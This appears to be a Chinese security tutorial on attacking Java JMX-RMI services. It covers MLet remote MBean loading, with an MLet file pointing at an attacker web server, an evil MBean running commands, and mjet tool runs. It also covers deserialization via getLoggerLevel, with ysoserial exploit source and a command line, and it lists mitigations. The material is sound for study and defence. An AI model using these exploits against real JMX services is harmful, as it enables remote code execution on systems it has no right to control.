JMX-RMI
以下来自wikipedia1
JMX(英语:Java Management Extensions,即Java管理扩展),是Java平台上为应用程序、设备、系统等植入管理功能的框架。JMX可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用
jmx的分层体系结构
托管Bean
Managed Bean,MBean,是一种通过依赖注入创建的JavaBean,如果资源是用Java开发的(或提供Java包装程序)并且已经过检测,因此可以由兼容JMX的应用程序管理,则该资源是可管理的。资源由一个或多个标准或动态MBean来检测
MBean有四种类型
- 标准MBean:最简单的设计和实现。他们的管理界面由他们的方法名称描述。
- 动态MBean:它们实现特定的接口,并且在运行时公开其管理接口,以实现最大的灵活性。
- Open MBean:依靠基本数据类型实现通用可管理性的动态MBean;他们自我描述为用户友好。
- 模型MBean:完全可配置且在运行时自行描述的动态MBean。它们提供了具有默认行为的通用MBean类,用于动态检测资源。
JMX标准在各种MBean类型之间有所不同,这里我们仅仅处理标准的MBean,要成为有效的MBean,Java类必须满足:
- 实现一个接口
- 提供一个无参构造函数
- 实现getter/setter方法
一个例子:
定义一个接口 HelloMBean.java1
2
3
4
5
6
7
8
9
10package com.hu3sky.hello;
public interface HelloMBean {
// getter and setter for the attribute "name"
public String getName();
public void setName(String newName);
// Bean method "sayHello"
public String sayHello();
}
接口的实现类 Hello.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20package com.hu3sky.hello;
public class Hello implements HelloMBean {
private String name = "Hu3sky";
public String getName() {
return this.name;
}
public void setName(String newName) {
this.name = newName;
}
public String sayHello() {
return "hello: " + name;
}
}
MBEAN服务器:MBean服务器是管理系统MBean的服务。开发人员可以按照特定的命名模式在服务器中注册其MBean。MBean服务器将传入消息转发到已注册的MBean。该服务还负责将消息从MBean转发到外部组件
默认情况下,每个Java进程都在运行一个MBean服务器服务,我们可以使用访ManagementFactory.getPlatformMBeanServer();
问该服务。以下示例代码“连接”到当前进程的MBean服务器并打印出所有已注册的MBean:
1 | package com.hu3sky.hello; |
每个MBean都需要遵循对象名称约定的唯一名称。该名称分为一个域(通常是包)和一个对象名,比如这里我们看到的,对象名称应包含type
属性1
java.lang:type=Runtime
如何注册MBean1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28package com.hu3sky.hello;
import javax.management.MBeanServer;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import java.lang.management.ManagementFactory;
public class MBeanExample {
public static void main(String[] args) throws Exception {
// Create a new MBean instance from Hello (HelloMBean interface)
Hello mbean = new Hello();
// Create an object name,
ObjectName mbeanName = new ObjectName("com.hu3sky.hello:type=HelloMBean");
// Connect to the MBean server of the current Java process
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
server.registerMBean(mbean, mbeanName);
for(Object object : server.queryMBeans(new ObjectName("*:*"), null))
{
System.out.println( ((ObjectInstance)object).getObjectName() );
}
// Keep the application running until user enters something
System.out.println("Press any key to exit");
System.in.read();
}
}
看看输出
Jconsole
启动方法:
直接在命令行输入jconsole
访问MBean / JMX服务的最简单方法是使用JDK中的“ jconsole”工具。启动后,您可以连接到正在运行的Java进程并在“ MBean”选项卡中检查已注册的MBean。也可以获取/设置bean属性或调用诸如“ sayHello”方法之类的方法。
JMX CONNECTORS
如果要连接到在另一台服务器上运行的远程实例,则必须使用JMX连接器,JMX连接器基本上是一个客户机/服务器的Stub,它提供对远程MBean服务器的访问
默认情况下,Java提供一个基于Java RMI(远程方法调用)的远程JMX连接器。可以通过向java调用添加以下参数来启用JMX。
1 | -Dcom.sun.management.jmxremote.port=2222 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false |
这样,在连接的时候就能用JConsole
以ip:port
的形式进行远程连接到该服务,同时此配置不安全:任何知道(或猜测)您的端口号和主机名的远程用户都将能够监视和控制您的Java应用程序和平台。此外,可能的危害不仅限于您在MBean
中定义的操作。远程客户端可以创建一个javax.management.loading.MLet MBean
并使用它从任意URL
创建新的MBean
,至少在没有安全管理器的情况下。换句话说,恶意远程客户端可能使您的Java
应用程序执行任意代码。
nmap扫描端口情况
攻击JMX
基于MLET
手动构建
“MLet”是管理applet的快捷方式
它使您可以“在来自远程URL的MBean服务器中注册一个或多个MBean”。简而言之,MLET是可以通过Web服务器提供的类似HTML的文件。一个示例MLet文件如下所示:
1 | <html><mlet code="de.mogwailabs.MaliciousMLet" archive="mogwailabsmlet.jar" name="Mogwailabs:name=payload" codebase="http://attackerwebserver"></mlet></html> |
攻击者可以托管这样的MLet文件,并指示JMX服务从远程主机加载MBean。
MBean javax.management.loading.MLet
的getMBeansFromURL
方法
编写恶意Bean的接口1
2
3
4
5
6package com.hu3sky.mjet;
public interface EvilMBean
{
public String runCommand(String cmd);
}
编写实现类,并将恶意bean和实现类的class文件打包到jar包里,这里我打包到compromise.jar
中
1 | package com.hu3sky.mjet; |
编写,RemoteMBean,使用JMX在目标服务器上创建MBean javax.management.loading.MLet
的实例
1 | package com.hu3sky.remote; |
创建mlet文件,并运行在4141端口上,可以直接用python -m http.server 4141
来启动web
服务
1 | <html><mlet code="com.hu3sky.mjet.Evil" archive="compromise.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:4141"></mlet></html> |
目标服务器上的JMX1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22package com.hu3sky.hello;
import com.hu3sky.mjet.Evil;
import javax.management.MBeanServer;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import java.lang.management.ManagementFactory;
public class MBeanExample {
public static void main(String[] args) throws Exception {
// Connect to the MBean server of the current Java process
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
for(Object object : server.queryMBeans(new ObjectName("*:*"), null))
{
System.out.println( ((ObjectInstance)object).getObjectName() );
}
System.out.println("Press any key to exit");
System.in.read();
}
}
- 运行JMX服务
- 将web服务打开,挂载melt文件
- 运行RemoteMBean,需要提供三个参数,targetip,target port(也就是远程开放的JMX端口),command
- 命令在JMX服务端执行
攻击流程:
- 启动承载带有恶意
MBean
的MLet
和JAR
文件的Web服务器 - 使用JMX在目标服务器上创建
MBean javax.management.loading.MLet
的实例 - 调用MBean实例的
getMBeansFromURL
方法,并将Web服务器URL作为参数传递。JMX服务将连接到http服务器并解析MLet文件。 - JMX服务下载并加载MLet文件中引用的
JAR
文件,从而使恶意MBean可通过JMX使用。 - 攻击者最终从恶意MBean调用方法。
JMX连接源码分析
使用工具
或者可以使用工具,已经集成好的:https://github.com/mogwailabs/mjet
需要满足:
- JMX服务器可以连接到由攻击者控制的http服务
- 未启用JMX身份验证
第一个ip是targetip,运行着易受攻击的JMX服务,第二个ip是攻击者的ip,JMX服务将连接到攻击者的Web服务,以下载payload jar文件
1 | hu3sky@Hu3skydeMacbookpro > ~/IdeaProjects/JMX/mjet > /Users/hu3sky/jython2.7.1/bin/jython mjet.py 127.0.0.1 2222 install super_secret http://127.0.0.1:8000 8000 |
执行命令
1 | hu3sky@Hu3skydeMacbookpro > ~/IdeaProjects/JMX/mjet > /Users/hu3sky/jython2.7.1/bin/jython mjet.py 127.0.0.1 2222 command super_secret "ls -la" |
防止手段 :
- 不要通过
com.sun.management.jmxremote.port
。这将启动仅本地的JMX服务器,您可以从com.sun.management.jmxremote.localConnectorAddress
获得连接地址 http://docs.oracle.com/javase/6/docs/technotes/guides/management/agent .html - 启用SSL客户端证书身份验证
- 启用密码验证并使用SSL
- 防火墙墙端口
在JMX/MBEAN级别上反序列化
基本思想是调用一个MBean
方法,该方法接受String
(或任何其他类)作为参数。正如我们在前面的示例中已经看到的那样,默认情况下,每个Java进程已经提供了几个MBean
。一个好的候选方法是getLoggerLevel
方法,该方法接受一个String
作为参数。
攻击者无需传递字符串,而只需传递恶意对象作为参数即可。JMX
使这相当容易,因为MBeanServerConnection.invoke
被用于调用远程MBean
方法方法需要通过两个array,一个是params
,一个是signature
。
1 | public Object invoke(ObjectName name, String operationName, |
这是使用mjet工具,并且本地jmx环境上有一个common-collections3.2
的环境,同时需要攻击的mjet
目录下有ysoserial.jar
ysoserial上的完整项目1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39package ysoserial.exploit;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import ysoserial.payloads.ObjectPayload.Utils;
/*
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
*
*/
public class JMXInvokeMBean {
public static void main(String[] args) throws Exception {
if ( args.length < 4 ) {
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
System.exit(-1);
}
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
// create the payload
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
//close the connection
jmxConnector.close();
}
}
执行流程:
- 通过
JMXServiceURL
连接到目标JMX服务器并获取到jmx对象 - 创建恶意反序列化对象
- 通过
mbeanServerConnection.invoke
获取getLoggerLevel
方法并传入生成的反序列化对象
或者直接使用ysoserial
1
java -cp ysoserial.jar ysoserial.exploit.JMXInvokeMBean 127.0.0.1 2222 CommonsCollections6 "open /Applications/Calculator.app/"